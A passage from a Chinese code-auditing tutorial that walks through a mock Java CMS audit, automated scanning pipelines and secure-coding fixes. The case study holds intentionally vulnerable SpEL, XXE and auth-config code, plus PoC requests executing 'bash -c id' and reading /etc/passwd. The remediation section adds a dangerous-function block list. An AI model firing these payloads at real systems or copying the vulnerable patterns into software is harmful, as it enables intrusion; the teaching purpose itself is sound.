# 4. 查看结果(SARIF 格式可导入 VS Code / GitHub Code Scanning)
```

【提示】CodeQL 的污点追踪(TaintTracking)能自动跨函数追踪数据流,
是挖掘复杂漏洞链的利器。建议先学习官方查询库(codeql-repo)的写法。

6.3 自动化审计流水线建议

```
开发提交代码 -> Git Hook 触发 Semgrep 快速扫描(秒级)
            -> CI 流水线运行 CodeQL 深度分析(分钟级)
            -> 结果聚合到 SonarQube 质量门禁
            -> 高危漏洞阻断合并,中危漏洞记录跟踪
```

| 阶段         | 工具           | 频率       | 阈值              |
|————–|—————-|————|——————-|
| 本地开发     | Semgrep IDE    | 实时       | 提示              |
| 提交前       | Semgrep CLI    | 每次 commit| ERROR 阻断        |
| CI 流水线    | CodeQL         | 每次 PR    | 高危阻断          |
| 定期全量     | Fortify/Checkmarx | 每周/发布前 | 生成审计报告     |

——————————————————————————–
七、实战案例:完整审计一个 CMS 系统
——————————————————————————–

本节以一个模拟的 Java CMS 系统为例,演示从路由分析到漏洞链构造的完整
审计流程。

7.1 项目结构分析

```
cms-demo/
├── pom.xml                    # 依赖管理(审计第一步:看依赖版本)
├── src/main/java/com/cms/
│   ├── CmsApplication.java    # 启动类
│   ├── config/
│   │   └── SecurityConfig.java# 安全配置(审计重点:认证授权配置)
│   ├── controller/
│   │   ├── AdminController.java
│   │   ├── ArticleController.java
│   │   └── TemplateController.java
│   ├── service/
│   │   ├── ArticleService.java
│   │   └── TemplateService.java
│   ├── dao/
│   │   └── ArticleMapper.java
│   └── util/
│       ├── XmlUtil.java       # 工具类(审计重点:通用危险操作)
│       └── SpelUtil.java
└── src/main/resources/
    ├── application.yml
    └── mapper/
```

7.2 第一步:依赖版本审计(pom.xml)

```xml
<!– 审计发现:存在已知漏洞的依赖 –>
<dependencies>
    <!– Fastjson 1.2.47 存在反序列化漏洞 –>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.47</version>
    </dependency>
    <!– Log4j 2.14.0 存在 Log4Shell (CVE-2021-44228) –>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.0</version>
    </dependency>
    <!– Spring Boot 2.3.0 存在多个 CVE –>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <version>2.3.0.RELEASE</version>
    </dependency>
</dependencies>
```

【注意】依赖审计是代码审计的第一步,使用 OWASP Dependency-Check 或
Snyk 扫描 pom.xml / package.json,可快速发现已知组件漏洞(1-Day)。

7.3 第二步:路由与入口点分析

```java
// AdminController.java —— 发现未授权访问 + SSTI 组合漏洞
@RestController
@RequestMapping("/admin")
public class AdminController {

    @Autowired
    private TemplateService templateService;

    // 【漏洞点 1】缺少权限注解,任意用户可访问
    @PostMapping("/template/preview")
    public String previewTemplate(@RequestBody Map<String, String> body) {
        String content = body.get("content");
        // 【漏洞点 2】调用 SpelUtil,用户输入流入 SpEL 解析
        return templateService.render(content);
    }
}
```

7.4 第三步:自顶向下追踪数据流

```java
// TemplateService.java
@Service
public class TemplateService {

    public String render(String content) {
        // 数据流:content -> SpelUtil.eval
        return SpelUtil.eval(content);
    }
}

// SpelUtil.java —— 最终 Sink
public class SpelUtil {
    public static String eval(String expr) {
        SpelExpressionParser parser = new SpelExpressionParser();
        // 【漏洞确认】无安全上下文,直接解析用户表达式
        return parser.parseExpression(expr).getValue().toString();
    }
}
```

数据流追踪结论:
– Source:previewTemplate 的 @RequestBody content
– Sink:SpelExpressionParser.parseExpression
– 净化:无
– 结论:存在 SpEL 注入漏洞

7.5 第四步:构造漏洞链

审计发现,AdminController 的 /admin/template/preview 接口需要管理员
权限。但进一步分析 SecurityConfig 发现认证配置存在缺陷:

```java
// SecurityConfig.java
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests()
            .antMatchers("/admin/**").authenticated()  // 需要登录
            .antMatchers("/**").permitAll()
            // 【漏洞】Spring Security 默认会拦截 /admin/**
            // 但 antMatchers 顺序错误,permitAll 在前导致 /admin/ 被放行
            .and().formLogin().permitAll();
    }
}
```

漏洞链构造:

```
漏洞 1(权限绕过):SecurityConfig 中 antMatchers 顺序错误,
    /** permitAll 覆盖了 /admin/** authenticated,
    导致 /admin/template/preview 可被未认证用户访问。

漏洞 2(SpEL 注入):previewTemplate 接口将用户输入解析为 SpEL 表达式。

组合利用链:
    未授权访问 -> SpEL 注入 -> 任意命令执行 -> 获取服务器权限

PoC:
    POST /admin/template/preview
    Content-Type: application/json

    {"content": "T(java.lang.Runtime).getRuntime().exec(new String[]{\\"bash\\",\\"-c\\",\\"id\\"})"}
```

7.6 第五步:发现第二个漏洞(XXE)

继续审计 XmlUtil 工具类:

```java
// XmlUtil.java
public class XmlUtil {
    public static Document parse(String xml) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        // 【漏洞】未禁用外部实体
        DocumentBuilder builder = factory.newDocumentBuilder();
        return builder.parse(new InputSource(new StringReader(xml)));
    }
}
```

搜索 XmlUtil.parse 的调用方:

```java
// ArticleController.java
@PostMapping("/import")
public String importArticle(@RequestBody String xml) throws Exception {
    Document doc = XmlUtil.parse(xml);
    // 解析 XML 导入文章
    return "导入成功";
}
```

漏洞链:未授权访问 + XXE 文件读取

```
POST /import
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```

7.7 审计报告输出

| 编号 | 漏洞名称       | 严重程度 | 位置                          | 类型     |
|——|—————|———-|——————————-|———-|
| V-01 | SpEL 注入     | 严重     | SpelUtil.eval                 | 白盒确认 |
| V-02 | 权限绕过      | 高危     | SecurityConfig.configure      | 白盒确认 |
| V-03 | XXE 注入      | 高危     | XmlUtil.parse                 | 白盒确认 |
| V-04 | Log4Shell     | 严重     | pom.xml (log4j 2.14.0)        | 依赖扫描 |
| V-05 | Fastjson RCE  | 严重     | pom.xml (fastjson 1.2.47)     | 依赖扫描 |

——————————————————————————–
八、代码安全修复建议
——————————————————————————–

8.1 通用安全编码原则

```
1. 永不信任用户输入(Never Trust User Input)
   – 所有外部输入均需校验、过滤、转义
   – 采用"白名单优先"策略,拒绝一切非预期输入

2. 纵深防御(Defense in Depth)
   – 不依赖单一防线,输入校验 + 输出编码 + 权限控制多层叠加
   – 即使某层被绕过,其他层仍能提供保护

3. 最小权限原则(Least Privilege)
   – 应用以最低必要权限运行,避免 root / Administrator
   – 数据库账户仅授予必要表的必要权限

4. 安全默认(Secure by Default)
   – 默认配置应是安全的,不安全选项需显式开启
   – 如 XML 解析默认禁用外部实体
```

8.2 各语言针对性修复建议

Java 修复要点:

```java
// 1. SpEL:使用安全上下文
SimpleEvaluationContext.forReadOnlyDataBinding().build();

// 2. JNDI:白名单校验 + 升级 JDK
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

// 3. XXE:统一封装安全 XML 解析工厂
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// 4. 模板:用户输入作为数据而非模板
render_template_string('<p>{{name}}</p>', name=userInput);

// 5. 依赖:定期扫描 pom.xml,使用 Dependency-Check / Snyk
```

PHP 修复要点:

```php
// 1. 禁用危险函数(php.ini)
disable_functions = eval,exec,system,passthru,shell_exec

// 2. extract 使用 EXTR_SKIP
extract($data, EXTR_SKIP);

// 3. 路径校验用 realpath
$real = realpath($path);
if (strpos($real, $baseDir) !== 0) die('非法路径');

// 4. 文件包含用白名单
if (!in_array($page, $allowed, true)) $page = 'default';

// 5. 参数化查询(如使用 PDO)
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);
```

Python 修复要点:

```python
# 1. 禁用 pickle 反序列化用户数据,改用 json
json.loads(data)

# 2. Jinja2 用 SandboxedEnvironment
from jinja2.sandbox import SandboxedEnvironment

# 3. subprocess 用列表参数,避免 shell=True
subprocess.run(['ls', '-la'], shell=False)  # 不要 shell=True

# 4. PyYAML 用 safe_load
yaml.safe_load(data)

# 5. 不依赖沙箱,用容器隔离不可信代码
```

8.3 安全开发生命周期(SDLC)融入

| 阶段         | 安全活动                              | 工具                 |
|————–|—————————————|———————-|
| 需求设计     | 威胁建模(STRIDE)                    | Threat Modeling Tool |
| 编码开发     | 安全编码规范 + IDE 实时扫描           | Semgrep IDE 插件     |
| 代码提交     | Pre-commit 钩子扫描                   | Semgrep / Git Hooks  |
| CI/CD 构建   | SAST 扫描 + 依赖检查                  | CodeQL / Dependency-Check |
| 测试阶段     | DAST 扫描 + 人工渗透测试              | ZAP / Burp Suite     |
| 上线发布     | 安全评审 + 漏洞修复确认               | 安全门禁             |
| 运维运营     | 监控告警 + 定期复测                   | WAF / SIEM           |

——————————————————————————–
九、总结
——————————————————————————–

代码审计是一项需要耐心、经验与系统性思维的工作。本文从方法论、工具、
三大语言实战、自动化、完整案例五个维度,系统梳理了代码审计的核心知识。

核心要点回顾:

1. 方法论是根基
   – "自底向上 + 自顶向下"结合,先搜 Sink 再回溯 Source
   – 工具初筛 + 人工复核,效率与准确性兼顾

2. 工具是助力而非依赖
   – Semgrep 快速扫描、CodeQL 深度分析、IDE 手工审计三位一体
   – 没有银弹,每个工具都有盲区

3. 数据流追踪是核心技能
   – 牢记 Source(输入点)-> 净化 -> Sink(危险函数)模型
   – 重点审查"净化函数"是否可被绕过

4. 漏洞链构造决定危害等级
   – 单个低危漏洞组合后可能成为致命利用链
   – 权限绕过 + 注入类漏洞是最常见的组合模式

5. 安全左移是趋势
   – 在开发阶段消除漏洞成本最低
   – 将审计工具融入 CI/CD,实现持续安全

进阶学习路径建议:

```
入门:掌握一门语言基础 + 阅读 OWASP Top 10
      -> 使用 Semgrep 扫描开源项目,理解漏洞模式

进阶:学习 CodeQL,编写自定义污点追踪查询
      -> 审计 2-3 个开源 CMS,积累实战经验

高级:研究 CVE 漏洞分析,复现漏洞链
      -> 关注组件级漏洞(Fastjson、Log4j、Shiro)
      -> 参与漏洞赏金计划,实战检验能力
```

【提示】代码审计能力的提升没有捷径,关键在于"多读、多审、多复盘"。
建议从审计中小型开源项目入手(如 Java 的某个小型 CMS),逐步积累
对各类漏洞模式的敏感度,最终形成自己的审计方法论。

赞(0)
未经允许不得转载:网硕互联帮助中心 » 代码审计实战指南:从白盒分析到漏洞挖掘(附 Java/PHP/Python 实战案例)
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!